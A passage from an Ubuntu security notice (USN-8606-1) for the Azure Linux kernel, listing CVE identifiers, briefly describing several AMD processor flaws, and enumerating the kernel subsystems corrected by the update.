CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64164)


USN-8606-1: Linux kernel (Azure) vulnerabilities
Fri, 24 Jul 2026 14:17:41 +0200
It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23207, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23226, CVE-2026-23227,
CVE-2026-23228, CVE-2026-23229, CVE-2026-23230, CVE-2026-23233,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23249,
CVE-2026-23253, CVE-2026-23255, CVE-2026-23266, CVE-2026-23267,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23272, CVE-2026-23276,
CVE-2026-23277, CVE-2026-23278, CVE-2026-23279, CVE-2026-23281,
CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292,
CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300,
CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306,
CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312,
CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318,
CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325,
CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336,
CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363,
CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374,
CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387,
CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23428, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458,
CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463,
CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470,
CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391,
CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31402, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31411, CVE-2026-31412, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
